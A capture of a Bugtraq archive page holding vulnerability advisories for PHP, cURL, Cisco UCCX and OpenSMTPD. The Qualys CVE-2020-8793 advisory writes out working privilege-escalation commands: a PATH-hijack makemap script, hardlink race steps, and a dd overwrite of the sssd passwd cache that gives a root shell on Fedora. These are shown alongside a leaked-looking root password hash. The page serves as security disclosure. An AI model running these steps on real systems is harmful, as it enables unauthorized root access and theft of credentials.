bugtraq.securityfocus.com
Open in
urlscan Pro
2600:9000:20eb:8200:e:2397:9200:93a1
Public Scan
Submitted URL: http://www.securityfocus.com/bid/104773'
Effective URL: https://bugtraq.securityfocus.com/bid/104773'
Submission: On August 24 via api from US — Scanned from DE
Effective URL: https://bugtraq.securityfocus.com/bid/104773'
Submission: On August 24 via api from US — Scanned from DE
Form analysis 1 forms found in the DOM
<form _ngcontent-qws-c54="" novalidate="" ng-reflect-form="[object Object]" class="ng-untouched ng-pristine ng-invalid">
<div _ngcontent-qws-c54="" id="search-form" class="form"><input _ngcontent-qws-c54="" type="text" formcontrolname="searchString" required="" ng-reflect-name="searchString" ng-reflect-required="required" class="ng-untouched ng-pristine ng-invalid">
</div>
</form>Text Content
FAQs
BUGTRAQ
BUGTRAQ IS A FULL DISCLOSURE MAILING LIST FOR THE DETAILED DISCUSSION AND
ANNOUNCEMENT OF COMPUTER SECURITY VULNERABILITIES. BUGTRAQ SERVES AS THE
CORNERSTONE OF THE INTERNET-WIDE SECURITY COMMUNITY.
SUBSCRIBE
Join the mailing list to stay up to date on all BugTraq messages and updates.
Subscribe
Expand AllCollapse All
* ON SECOND THOUGHT...
SATURDAY, JANUARY 16, 2021 08:25 PM | ALIAS SECURITYFOCUS COM 0 REPLIES
Bugtraq has been a valuable institution within the Cyber Security community
for
almost 30 years. Many of our own people entered the industry by subscribing
to it
and learning from it. So, based on the feedback we’ve received both from the
community-at-large and internally, we’ve decided to keep the Bugtraq list
running.
We’ll be working in the coming weeks to ensure that it can remain a valuable
asset
to the community for years to come. - Accenture Security
Read More
* RE: BUGTRAQ SHUTDOWN
SATURDAY, JANUARY 16, 2021 04:02 AM | TOMMYPICKLE GMAIL COM 0 REPLIES
All old school hackers from UPT remember and want to show respect. Thanks for
everything.
From invalid, merc, MR (rest in peace) and the rest of us crusty old geeks.
Read More
* RE: [SECURITY] [DSA 4628-1] PHP7.0 SECURITY UPDATE
FRIDAY, JANUARY 15, 2021 10:40 PM | TIMESPORTSALL GMAIL COM 0 REPLIES
[SECURITY] [DSA 4628-1] php7.0 security update Feb 18 2020 10:00PM
Moritz Muehlenhoff (jmm debian org)
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
- ------------------------------------------------------------------------
-
Debian Security Advisory DSA-4628-1 security (at) debian (dot) org [email
concealed]
https://www.debian.org/security/ Moritz Muehlenhoff
February 18, 2020 https://www.debian.org/security/faq
- ------------------------------------------------------------------------
-
Package : php7.0
CVE ID : CVE-2019-11045 CVE-2019-11046 CVE-2019-11047
CVE-2019-11050 CVE-2020-7059 CVE-2020-7060
Multiple security issues were found in PHP, a widely-used open source
general purpose scripting language which could result in information
disclosure, denial of service or incorrect validation of path names.
For the oldstable distribution (stretch), these problems have been fixed
in version 7.0.33-0+deb9u7.
We recommend that you upgrade your php7.0 packages.
For the detailed security status of php7.0 please refer to
its security tracker page at:
https://security-tracker.debian.org/tracker/php7.0
Further information about Debian Security Advisories, how to apply
these updates to your system and frequently asked questions can be
found at: https://www.debian.org/security/
Mailing list: debian-security-announce (at) lists.debian (dot) org [email
concealed]
-----BEGIN PGP SIGNATURE-----
iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAl5MXdMACgkQEMKTtsN8
TjZgpg//S+jV8BhWi7ZmirmBqTtcTfhg1oXftWjTOn1oupT8zBOBUMNO65Z1A3qN
Vt+S1FS4jCKISzeFFerBt1Hh+VCdDdkq0wjF0zVj5VqG/uMvYzNAGFE+dRC3q3Qw
Brd4bObmPPVp/Q0RW14Dt1EuzzCvJFOegpBlFP9KuNQV27JxJTYD2y4X3peR0e53
SOznrHNxJySEx7KDrW1eq268dmteZU+y7uiPJc0sakg74XMaAWfyd30ADoC0ecOY
77Rr/Wfbc2PQVihMSBwTFdnVtskguPDdg3beIaoGAsB9CA5BrFQZvAPyN+0l9sMk
KZDILqImnXZYMeqGU+MG5GDC2Mmcmbn3zNOqWNqbuCUmSGof4YaLkvfmGIsspzGN
CNWCER+d3wPht3BFu8u7yYFiWyA9xg0cCylXOLddzrEgNJHMM8d8OwtvVzlRwfgI
lmOStdP2FX/bIIOD1zntKzNfsmDRA3lBt2C1R3I93aV0/nHbg2BlmIONTiOMClSw
btyV59+LFOSKGkMaqhLrYjwyiwAnNDdtQ0PeNa3utQ+9AT9+pzxGatujqp6AQEYE
ojFNn23K3isFW9x2Tzmsc8IbNr9BF7DSjZi0zFz1jaZLxxdCFfc8DTe464Z2ABcZ
Nw8pCc+3IBDA4bicTWd7ltW8RpvBeIyiiZ/COfx6Yo0TcbAJoXM=
=t/g2
-----END PGP SIGNATURE-----
Read More
* BUGTRAQ SHUTDOWN
FRIDAY, JANUARY 15, 2021 02:08 PM | ALIAS SECURITYFOCUS COM 0 REPLIES
2020 was quite the year, one that saw many changes. As we begin 2021, we
wanted
to send one last note to our friends and supporters at the SecurityFocus
BugTraq
mailing list. As many of you know, assets of Symantec were acquired by
Broadcom
in late 2019, and some of those assets were then acquired by Accenture in
2020
(https://newsroom.accenture.com/news/accenture-completes-acquisition-of-broadco
ms-symantec-cyber-security- services-business.htm). SecurityFocus assets were
included in this transition, and the mailing list has not been updated since
the
work to transition to Accenture began.
The SecurityFocus assets, including the BugTraq mailing list, has a long
history
of providing timely information on the latest vulnerabilities, security
vendor
announcements, and exploit information. We are forever grateful to those who
created, maintained, and contributed to the archive - many of us have
connected
and learned from each other through these lists. The history of the list and
the
sharing of the information has contributed to ensuring that we are building
the
information security community to be something stronger. Community
contribution
is one of the foundations to building a stronger Information Security force.
At this time, resources for the BugTraq mailing list have not been
prioritized,
and this will be the last message to the list. The archive will be shut down
January 31st, 2021.
For similar information, please refer to some of the following links:
https://www.defcon.org/html/links/mailing-lists.html
https://seclists.org/fulldisclosure/
This is where the appropriate geek-like reference and farewell comes in,
something like “So long, and thanks for all the fish”, but that seems too
cavalier for
this. So thank you, for your support, wisdom, and willingness to share –
whether
you are a contributor, reader, or lurker on the list. All of you have made a
difference. Be well, and keep up the good work!
Read More
* CISCO UNIFIED CONTACT CENTER EXPRESS PRIVILEGE ESCALATION VULNERABILITY
(CVE-2019-1888)
TUESDAY, FEBRUARY 25, 2020 03:00 AM | JAMIE BLACKTRAFFIC CO UK 0 REPLIES
I've quoted the Cisco summary below as it's pretty accurate.
tl;dr is an admin user on the web console can gain command execution
and then escalate to root. If this is an issue in your environment,
then please patch.
Thanks to Cisco PSIRT who were responsive and professional.
Shouts to Andrew, Dave and Senad, Pedro R - if that's still even a
thing on advisories.
Ref:
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-uccx-privesc-Zd7bvwyf
"Summary
A vulnerability in the Administration Web Interface of Cisco Unified
Contact Center Express (Unified CCX) could allow an authenticated,
remote attacker to upload arbitrary files and execute commands on the
underlying operating system. To exploit this vulnerability, an
attacker needs valid Administrator credentials.
The vulnerability is due to insufficient restrictions for the content
uploaded to an affected system. An attacker could exploit this
vulnerability by uploading arbitrary files containing operating system
commands that will be executed by an affected system. A successful
exploit could allow the attacker to execute arbitrary commands with
the privileges of the web interface and then elevate their privileges
to root."
cheers,
Jamie
Read More
* [SECURITY] [DSA 4633-1] CURL SECURITY UPDATE
MONDAY, FEBRUARY 24, 2020 02:45 PM | GHEDO DEBIAN ORG 0 REPLIES
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
- -------------------------------------------------------------------------
Debian Security Advisory DSA-4633-1 security debian org
https://www.debian.org/security/ Alessandro Ghedini
February 22, 2020 https://www.debian.org/security/faq
- -------------------------------------------------------------------------
Package : curl
CVE ID : CVE-2019-5436 CVE-2019-5481 CVE-2019-5482
Debian Bug : 929351 940009 940010
Multiple vulnerabilities were discovered in cURL, an URL transfer
library.
CVE-2019-5436
A heap buffer overflow in the TFTP receiving code was discovered,
which could allow DoS or arbitrary code execution. This only affects
the oldstable distribution (stretch).
CVE-2019-5481
Thomas Vegas discovered a double-free in the FTP-KRB code, triggered
by a malicious server sending a very large data block.
CVE-2019-5482
Thomas Vegas discovered a heap buffer overflow that could be
triggered when a small non-default TFTP blocksize is used.
For the oldstable distribution (stretch), these problems have been fixed
in version 7.52.1-5+deb9u10.
For the stable distribution (buster), these problems have been fixed in
version 7.64.0-4+deb10u1.
We recommend that you upgrade your curl packages.
For the detailed security status of curl please refer to
its security tracker page at:
https://security-tracker.debian.org/tracker/curl
Further information about Debian Security Advisories, how to apply
these updates to your system and frequently asked questions can be
found at: https://www.debian.org/security/
Mailing list: debian-security-announce lists debian org
-----BEGIN PGP SIGNATURE-----
iQIzBAEBCgAdFiEEBsId305pBx+F583DbwzL4CFiRygFAl5UJtgACgkQbwzL4CFi
RyiozQ//TWmlmQt7fsskJtczrkjToirTdbgmzBeRI6PL2HXEZYY7WtdQzXDHqTb5
eQwrIrKsSrS30QneeeGHPEABhfUBCIQRiXocd5enAdQbqPchTIVl92YrZhHZqjbU
aP0q02QZrhn6nidzA+c3sU7ClW0YERVXOuVZAhQDnw0y1Iai5yVuQvIOhDYIEOdU
G86svqzr4UAMdZPFP0N1avyHmonNB1/UC//l/g2s7q2ki7NOBCMfg2QV5+/6Ip0F
tR8mgpukO7l+M0Jhb3SeCaGaRvbHDlkFIyGXKbDyffs14ceRykm/fhxB2bc8dSK7
KLGjRLXJyHKCCoWzafHk13aNGu0jVqaRrCcyezhI8fnr9V/enDbnzLeEWGGL8H3e
qVTyY+ykypinWeIRv+5VQtgrAhEJ6ZCiGCmbRyhwP0s8Yu5MlOJeS1L4GnBUbYuH
ZhB/DWtqFlh/Rgjs6XWr/CwzxFAps+wbKjY8l8/C18308J0bKq1sx4XWSEmXrMMj
KbdVNKEjvA3n8HTa4CC+CgVA7723ysCERbKnTLKTu8rgPA9QDMyyxNpenVeB24DW
G9rrnokVK0c56EeDlAOCB3gSA4XoDt3k+xP4vfaBcyzGj/mkEsOeAT6+lzqPbO30
KqjBEQgVzb5nvKpPhJF8f71DXegfFvDL2ti5G4wkfRME4ytM6Wg=
=QC2b
-----END PGP SIGNATURE-----
Read More
* LPE AND RCE IN OPENSMTPD'S DEFAULT INSTALL (CVE-2020-8794)
MONDAY, FEBRUARY 24, 2020 01:48 PM | QSA QUALYS COM 0 REPLIES
Qualys Security Advisory
LPE and RCE in OpenSMTPD's default install (CVE-2020-8794)
==============================================================================
Contents
==============================================================================
Summary
Analysis
...
Acknowledgments
==============================================================================
Summary
==============================================================================
We discovered a vulnerability in OpenSMTPD, OpenBSD's mail server. This
vulnerability, an out-of-bounds read introduced in December 2015 (commit
80c6a60c, "when peer outputs a multi-line response ..."), is exploitable
remotely and leads to the execution of arbitrary shell commands: either
as root, after May 2018 (commit a8e22235, "switch smtpd to new
grammar"); or as any non-root user, before May 2018.
Because this vulnerability resides in OpenSMTPD's client-side code
(which delivers mail to remote SMTP servers), we must consider two
different scenarios:
- Client-side exploitation: This vulnerability is remotely exploitable
in OpenSMTPD's (and hence OpenBSD's) default configuration. Although
OpenSMTPD listens on localhost only, by default, it does accept mail
from local users and delivers it to remote servers. If such a remote
server is controlled by an attacker (either because it is malicious or
compromised, or because of a man-in-the-middle, DNS, or BGP attack --
SMTP is not TLS-encrypted by default), then the attacker can execute
arbitrary shell commands on the vulnerable OpenSMTPD installation.
- Server-side exploitation: First, the attacker must connect to the
OpenSMTPD server (which accepts external mail) and send a mail that
creates a bounce. Next, when OpenSMTPD connects back to their mail
server to deliver this bounce, the attacker can exploit OpenSMTPD's
client-side vulnerability. Last, for their shell commands to be
executed, the attacker must (to the best of our knowledge) crash
OpenSMTPD and wait until it is restarted (either manually by an
administrator, or automatically by a system update or reboot).
We developed a simple exploit for this vulnerability and successfully
tested it against OpenBSD 6.6 (the current release), OpenBSD 5.9 (the
first vulnerable release), Debian 10 (stable), Debian 11 (testing), and
Fedora 31. At OpenBSD's request, and to give OpenSMTPD's users a chance
to patch their systems, we are withholding the exploitation details and
code until Wednesday, February 26, 2020.
Last-minute note: we tested our exploit against the recent changes in
OpenSMTPD 6.6.3p1, and our results are: if the "mbox" method is used for
local delivery (the default in OpenBSD -current), then arbitrary command
execution as root is still possible; otherwise (if the "maildir" method
is used, for example), arbitrary command execution as any non-root user
is possible.
==============================================================================
Analysis
==============================================================================
SMTP clients connect to SMTP servers and send commands such as EHLO,
MAIL FROM, and RCPT TO. SMTP servers respond with either single-line or
multiple-line replies:
- the first lines begin with a three-digit code and a hyphen ('-'),
followed by an optional text (for example, "250-ENHANCEDSTATUSCODES");
- the last line begins with the same three-digit code, followed by an
optional space (' ') and text (for example, "250 HELP").
In OpenSMTPD's client-side code, these multiline replies are parsed by
the mta_io() function:
------------------------------------------------------------------------------
1098 static void
1099 mta_io(struct io *io, int evt, void *arg)
1100 {
....
1133 case IO_DATAIN:
1134 nextline:
1135 line = io_getline(s->io, &len);
....
1146 if ((error = parse_smtp_response(line, len, &msg, &cont))) {
------------------------------------------------------------------------------
- the first lines (when line[3] == '-') are concatenated into a 2KB
replybuf:
------------------------------------------------------------------------------
1177 if (cont) {
1178 if (s->replybuf[0] == '')
1179 (void)strlcat(s->replybuf, line, sizeof s->replybuf);
1180 else {
1181 line = line + 4;
....
1187 (void)strlcat(s->replybuf, line, sizeof s->replybuf);
1188 }
1189 goto nextline;
1190 }
------------------------------------------------------------------------------
- the last line (when line[3] != '-') is also concatenated into
replybuf:
------------------------------------------------------------------------------
1195 if (s->replybuf[0] != '') {
1196 p = line + 4;
....
1201 if (strlcat(s->replybuf, p, sizeof s->replybuf) >= sizeof s->replybuf)
------------------------------------------------------------------------------
Unfortunately, if the last line's three-digit code is not followed by
the optional space and text, then p (at line 1196) points to the first
character *after* the line's '' terminator (which replaced the line's
' ' terminator in iobuf_getline()), and this out-of-bounds string is
concatenated into replybuf (at line 1201).
...
==============================================================================
Acknowledgments
==============================================================================
We thank OpenBSD's developers for their quick response and patches. We
also thank Gilles for his hard work and beautiful code.
[https://d1dejaj6dcqv24.cloudfront.net/asset/image/email-banner-384-2x.png]<https://www.qualys.com/email-banner>
This message may contain confidential and privileged information. If it has
been sent to you in error, please reply to advise the sender of the error and
then immediately delete it. If you are not the intended recipient, do not
read, copy, disclose or otherwise use this message. The sender disclaims any
liability for such unauthorized use. NOTE that all incoming emails sent to
Qualys email accounts will be archived and may be scanned by us and/or by
external service providers to detect and prevent threats to our systems,
investigate illegal or inappropriate behavior, and/or eliminate unsolicited
promotional emails (“spam”). If you have any concerns about this process,
please contact us.
Read More
* LOCAL INFORMATION DISCLOSURE IN OPENSMTPD (CVE-2020-8793)
MONDAY, FEBRUARY 24, 2020 01:35 PM | QSA QUALYS COM 0 REPLIES
Qualys Security Advisory
Local information disclosure in OpenSMTPD (CVE-2020-8793)
==============================================================================
Contents
==============================================================================
Summary
Analysis
Exploitation
POKE 47196, 201
Acknowledgments
==============================================================================
Summary
==============================================================================
We discovered a minor vulnerability in OpenSMTPD, OpenBSD's mail server:
an unprivileged local attacker can read the first line of an arbitrary
file (for example, root's password hash in /etc/master.passwd) or the
entire contents of another user's file (if this file and
/var/spool/smtpd/ are on the same filesystem).
We developed a proof of concept and successfully tested it against
OpenBSD 6.6 (the current release). This vulnerability is generally not
exploitable on Linux, because /proc/sys/fs/protected_hardlinks is 1 by
default on most distributions. Surprisingly, however, it is exploitable
on Fedora (31) and yields full root privileges.
==============================================================================
Analysis
==============================================================================
In October 2015 we published the results of an exhaustive OpenSMTPD
audit (https://www.qualys.com/2015/10/02/opensmtpd-audit-report.txt);
one of our key findings was:
------------------------------------------------------------------------------
Multiple hardlink attacks in the offline directory
...
In the world-writable "/var/spool/smtpd/offline" directory, local users
can create hardlinks to files they do not own, and wait until the server
reboots (or, crash OpenSMTPD with a denial-of-service and wait until the
administrator restarts it) to carry out assorted attacks.
...
2/ The following code in offline_enqueue() allows an attacker to
execvp() "/usr/sbin/smtpctl" as "sendmail", with a command-line argument
that is the hardlinked file's first line (CVE-2015-ABCD):
...
For example, an attacker can hardlink /etc/master.passwd to the offline
directory, and retrieve its first line (root's encrypted password) by
running ps (or a small program that simply calls sysctl() with
KERN_FILE_BYUID and KERN_PROC_ARGV) in a loop:
...
4/ If an attacker is able to reach another user's file (i.e., +x on all
directories that lead to the file) but not read it, he can hardlink the
file to the offline directory, and wait for savedeadletter() to create a
world-readable copy of the file in this other user's home directory:
------------------------------------------------------------------------------
OpenBSD's patch for this vulnerability was threefold:
a/ They removed the world-writable and sticky bits from
/var/spool/smtpd/offline, changed its group to "_smtpq", and made
/usr/sbin/smtpctl set-group-ID _smtpq:
------------------------------------------------------------------------------
drwxrwx--- 2 root _smtpq 512 Oct 12 10:34 /var/spool/smtpd/offline
-r-xr-sr-x 1 root _smtpq 217736 Oct 12 10:34 /usr/sbin/smtpctl
------------------------------------------------------------------------------
b/ They added an _smtpq group check to offline_scan():
------------------------------------------------------------------------------
1543 /* offline file group must match parent directory group */
1544 if (e->fts_statp->st_gid != e->fts_parent->fts_statp->st_gid)
1545 continue;
....
1553 if (offline_add(e->fts_name)) {
1554 log_warnx("warn: smtpd: "
1555 "could not add offline message %s", e->fts_name);
1556 continue;
1557 }
------------------------------------------------------------------------------
This check (at line 1544) effectively prevents offline_scan() from
adding the filename of a hardlink to the offline queue (at line 1553),
because no interesting file on the filesystem belongs to the group
_smtpq.
c/ They added a hardlink check to offline_enqueue() (at line 1631),
which is called by offline_add():
------------------------------------------------------------------------------
1615 if ((fd = open(path, O_RDONLY|O_NOFOLLOW|O_NONBLOCK)) == -1) {
1616 log_warn("warn: smtpd: open: %s", path);
1617 _exit(1);
1618 }
1619
1620 if (fstat(fd, &sb) == -1) {
1621 log_warn("warn: smtpd: fstat: %s", path);
1622 _exit(1);
1623 }
....
1631 if (sb.st_nlink != 1) {
1632 log_warnx("warn: smtpd: file %s is hard-link", path);
1633 _exit(1);
1634 }
------------------------------------------------------------------------------
Unfortunately, a/ is vulnerable to a Local Privilege Escalation (into
the group _smtpq), and b/ and c/ are vulnerable to TOCTOU (time-of-check
to time-of-use) race conditions. As a result, a local attacker can still
carry out the hardlink attacks 2/ (master.passwd) and 4/ (dead.letter)
described in our 2015 audit report.
==============================================================================
Exploitation
==============================================================================
a/ If we execute /usr/sbin/smtpctl as "sendmail" or "send-mail", and
specify a "-bi" command-line argument, then smtpctl calls execlp()
without dropping its privileges:
------------------------------------------------------------------------------
147 /* sendmail-compat makemap ... re-execute using proper interface */
148 if (argc == 2) {
...
164 execlp("makemap", "makemap", "-d", argv[0], "-o", dbname, "-",
165 (char *)NULL);
166 err(1, "execlp");
167 }
------------------------------------------------------------------------------
We can exploit this execlp() call by specifying our own PATH environment
variable, and obtain the privileges of the group _smtpq:
------------------------------------------------------------------------------
$ id
uid=1001(john) gid=1001(john) groups=1001(john)
$ ln -s /usr/sbin/smtpctl "send-mail"
$ cat > makemap << "EOF"
#!/bin/ksh
echo "$@"
exec /usr/bin/env -i /bin/ksh
EOF
$ chmod 0755 makemap
$ env -i PATH=. ./send-mail -- -bi dbname
-d -bi -o dbname.db -
$ id
uid=1001(john) gid=1001(john) egid=103(_smtpq) groups=1001(john)
------------------------------------------------------------------------------
b/ The _smtpq group check is made only once in offline_scan(), but not
again in offline_enqueue() (which actually open()s the offline files).
Moreover, at most five offline files are processed concurrently; the
remaining files are simply added to the offline queue for later
processing. We can reliably win this first race condition:
- we create several large but sparse files (1GB each) in the offline
directory (these files naturally pass the _smtpq group check);
- we SIGSTOP five of the offline_enqueue() processes that open() and
slowly read() our large files;
- we wait until offline_scan() adds all of our remaining files to the
offline queue;
- we replace these files with hardlinks to an interesting target file
(for example, /etc/master.passwd);
- we SIGKILL the five stopped offline_enqueue() processes.
Finally, our hardlinks are processed by offline_enqueue(), and the
_smtpq group check is defeated.
c/ To defeat the hardlink check in offline_enqueue(), we create our
hardlink before the open() call at line 1615 (this increases st_nlink to
2), and delete it before the fstat() call at line 1620 (this decreases
st_nlink back to 1). In practice, we win this tight race condition after
just a few tries: our proof of concept fork()s a dedicated process that
simply calls link() and unlink() in a loop.
Moreover, if our target file is /etc/master.passwd, we can defeat the
hardlink check without a race: we hardlink /etc/master.passwd into the
offline directory (this increases st_nlink to 2), we run /usr/bin/passwd
or /usr/bin/chpass to generate a new /etc/master.passwd (this decreases
st_nlink back to 1), and finally we SIGKILL the five stopped
offline_enqueue() processes.
------------------------------------------------------------------------------
For example, to read the first line of /etc/master.passwd (root's
password hash) with our proof of concept:
- First, on the attacker's terminal:
$ id
uid=1001(john) gid=1001(john) egid=103(_smtpq) groups=1001(john)
$ ./proof-of-concept 20
...
ready
- Next, on the administrator's terminal:
# rcctl restart smtpd
smtpd(ok)
smtpd(ok)
- Last, on the attacker's terminal:
...
root:$2b$10$xufPzZW36O2h2QmasLsjve8RyRQm0gu3mVX6IHE2nAYYD0Iw0gAnO:0:0:daemon:0:0:Charlie
&:/root:/bin/ksh
------------------------------------------------------------------------------
To read the entire contents of another user's file (for example,
/home/admin/deep.secret) with our proof of concept:
- First, on the attacker's terminal:
$ id
uid=1001(john) gid=1001(john) egid=103(_smtpq) groups=1001(john)
$ ls -l /home/admin/deep.secret
---------- 1 admin admin 125 Feb 15 00:52 /home/admin/deep.secret
$ cat /home/admin/deep.secret
cat: /home/admin/deep.secret: Permission denied
$ ./proof-of-concept 100 /home/admin/deep.secret
...
ready
- Next, on the administrator's terminal:
# rcctl restart smtpd
smtpd(ok)
smtpd(ok)
- Last, on the attacker's terminal:
...
This is the contents of the deep.secret file. Only root may see this file.
-rw-r--r-- 1 admin admin 132 Feb 15 01:21 /home/admin/dead.letter
$ cat /home/admin/dead.letter
From: admin <admin obsd66 my domain>
Date: Sat, 15 Feb 2020 01:21:03 -0700 (MST)
secret 2
secret 3
end of secret file deep.secret
==============================================================================
POKE 47196, 201
==============================================================================
On Linux, this vulnerability is generally not exploitable because
/proc/sys/fs/protected_hardlinks prevents attackers from creating
hardlinks to files they do not own. On Fedora 31, however, smtpctl is
set-group-ID root, not set-group-ID smtpq:
------------------------------------------------------------------------------
-r-xr-sr-x. 1 root root 303368 Jul 26 2019 /usr/sbin/smtpctl
------------------------------------------------------------------------------
Surprisingly, we were able to exploit this mistake and obtain full root
privileges:
- First, we exploited the Local Privilege Escalation in smtpctl to
obtain the privileges of the group root:
------------------------------------------------------------------------------
$ id
uid=1001(john) gid=1001(john) groups=1001(john) context=...
$ ln -s /usr/sbin/smtpctl "send-mail"
$ cat > makemap << "EOF"
#!/bin/bash -p
echo "$@"
exec /usr/bin/env -i /bin/bash -p
EOF
$ chmod 0755 makemap
$ env -i PATH=. ./send-mail -- -bi dbname
-d -bi -o dbname.db -
$ id
uid=1001(john) gid=1001(john) egid=0(root) groups=0(root),1001(john)
context=...
------------------------------------------------------------------------------
- Next, we searched for files that belong to the group root, are
group-writable, but not world-writable:
------------------------------------------------------------------------------
$ find / -group root -perm -020 '!' -perm -02 -ls
...
4811008 0 drwxrwxr-x 2 root root 51 Feb 15 17:49 /var/lib/sss/mc
4811064 8212 -rw-rw-r-- 1 root root 8406312 Feb 15 18:58
/var/lib/sss/mc/passwd
4810978 6260 -rw-rw-r-- 1 root root 6406312 Feb 15 18:58
/var/lib/sss/mc/group
...
------------------------------------------------------------------------------
- Intrigued ("sss" stands for "System Security Services"), we dumped the
contents of /var/lib/sss/mc/passwd:
------------------------------------------------------------------------------
$ hexdump -C /var/lib/sss/mc/passwd
...
00000060 10 00 00 00 e9 03 00 00 e9 03 00 00 1d 00 00 00 |................|
00000070 6a 6f 68 6e 00 78 00 00 2f 68 6f 6d 65 2f 6a 6f |john.x../home/jo|
00000080 68 6e 00 2f 62 69 6e 2f 62 61 73 68 00 ff ff ff |hn./bin/bash....|
...
------------------------------------------------------------------------------
- Feeling adventurous, we overwrote "e9 03 00 00" (1001, our user-ID)
with zeros (root's user-ID):
------------------------------------------------------------------------------
$ dd if=/dev/zero of=/var/lib/sss/mc/passwd bs=1 seek=$((0x64)) count=4
conv=notrunc
4+0 records in
4+0 records out
------------------------------------------------------------------------------
- Last, we executed su to re-authenticate as ourselves (as user john),
but obtained a root shell instead:
------------------------------------------------------------------------------
$ su -l john
Password:
# id
uid=0(root) gid=1001(john) groups=1001(john) context=...
------------------------------------------------------------------------------
Last-minute note: on February 9, 2020, opensmtpd-6.6.2p1-1.fc31 was
released and correctly made smtpctl set-group-ID smtpq, instead of
set-group-ID root.
==============================================================================
Acknowledgments
==============================================================================
We thank OpenBSD's developers, Todd Miller in particular, for their
quick response and patches. We also thank Solar Designer and MITRE's CVE
Assignment Team.
[https://d1dejaj6dcqv24.cloudfront.net/asset/image/email-banner-384-2x.png]<https://www.qualys.com/email-banner>
This message may contain confidential and privileged information. If it has
been sent to you in error, please reply to advise the sender of the error and
then immediately delete it. If you are not the intended recipient, do not
read, copy, disclose or otherwise use this message. The sender disclaims any
liability for such unauthorized use. NOTE that all incoming emails sent to
Qualys email accounts will be archived and may be scanned by us and/or by
external service providers to detect and prevent threats to our systems,
investigate illegal or inappropriate behavior, and/or eliminate unsolicited
promotional emails (“spam”). If you have any concerns about this process,
please contact us.
Read More
* DEFENSE IN DEPTH -- THE MICROSOFT WAY (PART 62): WINDOWS SHIPPED WITH
END-OF-LIFE COMPONENTS
MONDAY, FEBRUARY 24, 2020 12:05 PM | STEFAN.KANTHAK NEXGO DE 0 REPLIES
Hi @ll,
since Microsoft Server 2003 R2, Microsoft dares to ship and install the
abomination known as .NET Framework with every new version of Windows.
Among other components current versions of Windows and .NET Framework
include
C# compiler (C:WindowsMicrosoft.NETFrameworkv2.0.50727csc.exe,
C:WindowsMicrosoft.NETFramework64v2.0.50727csc.exe)
J# compiler (C:WindowsMicrosoft.NETFrameworkv2.0.50727jsc.exe,
C:WindowsMicrosoft.NETFramework64v2.0.50727jsc.exe)
VB# compiler (C:WindowsMicrosoft.NETFrameworkv2.0.50727vbc.exe,
C:WindowsMicrosoft.NETFramework64v2.0.50727vbc.exe)
resource converter (C:WindowsMicrosoft.NETFrameworkv2.0.50727cvtres.exe,
C:WindowsMicrosoft.NETFramework64v2.0.50727cvtres.exe)
IL assembler (C:WindowsMicrosoft.NETFrameworkv2.0.50727ilasm.exe,
C:WindowsMicrosoft.NETFramework64v2.0.50727ilasm.exe)
assembly linker (C:WindowsMicrosoft.NETFrameworkv2.0.50727al.exe)
Microsoft builds (not just) these programs with Visual C 2005, an
UNSUPPORTED product that reached its end-of-life on 2016-04-12: see
<https://support.microsoft.com/en-us/lifecycle/search?alpha=Visual%20C%202005>
Of course these programs are linked to the equally UNSUPPORTED Visual C
2005 runtime that also reached its end-of-life 2016-04-12, which
Microsoft but nevertheless still dares to ship as side-by-side component:
Windows 10 1909
C:WindowsWinSxSx86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9659_none_88dfc6bf2faefcc6MSVCR80.dll
C:WindowsWinSxSamd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9659_none_88dfc6bf2faefcc6MSVCR80.dll
Windows 7 SP1, with Microsoft Security Essentials installed
C:WindowsWinSxSamd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6msvcm80.dll
C:WindowsWinSxSamd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6msvcp80.dll
C:WindowsWinSxSamd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6msvcr80.dll
C:WindowsWinSxSx86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.42_none_db5f52fb98cb24admsvcm80.dll
C:WindowsWinSxSx86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.42_none_db5f52fb98cb24admsvcp80.dll
C:WindowsWinSxSx86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.42_none_db5f52fb98cb24admsvcr80.dll
C:WindowsWinSxSx86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fcmsvcm80.dll
C:WindowsWinSxSx86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fcmsvcp80.dll
C:WindowsWinSxSx86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fcmsvcr80.dll
The latest security update for the Visual C++ runtime was published
2011-06-04 and updated the version to 8.0.50727.6195: see
<https://support.microsoft.com/en-us/help/2538242/ms11-025-description-of-the-security-update-for-visual-c-2005-sp1-redi>
The FAQ section of
<http://technet.microsoft.com/en-us/security/bulletin/ms11-025> says:
| In the case where a system has no MFC applications currently installed
| but does have the vulnerable Visual Studio or Visual C++ runtimes
| installed, Microsoft recommends that users install this update as a
| defense-in-depth measure, in case of an attack vector being introduced
| or becoming known at a later time.
Microsoft ships VULNERABLE components with .NET Framework and Windows, then
recommends that their unsuspecting users update them, but fails to update
their crap themselses!
In other words: "quod licet jovi non licet bovi"!
JFTR: another highlight (really: a BLATANT lie) from
<http://technet.microsoft.com/en-us/security/bulletin/ms11-025> is:
| Recommendation. The majority of customers have automatic updating enabled
| and will not need to take any action because this security update will be
| downloaded and installed automatically.
NO, Windows Update does NOT update the OUTDATED and VULNERABLE Visual C++
runtime shipped with .NET Framework in Windows 7!
The previous security update was published 2009-07-28 and updated
the version to 8.0.50727.4053: see
<https://support.microsoft.com/en-us/help/973544> plus
<https://support.microsoft.com/en-gb/help/969706/ms09-035-vulnerabilities-in-visual-studio-active-template-libraries-co>
Of course the statement from the FAQ section of MS11-025 holds for ATL
applications (where MS09-035 should have an equivalent FAQ entry) and
CRT applications too!
Additionally see the MSKB article
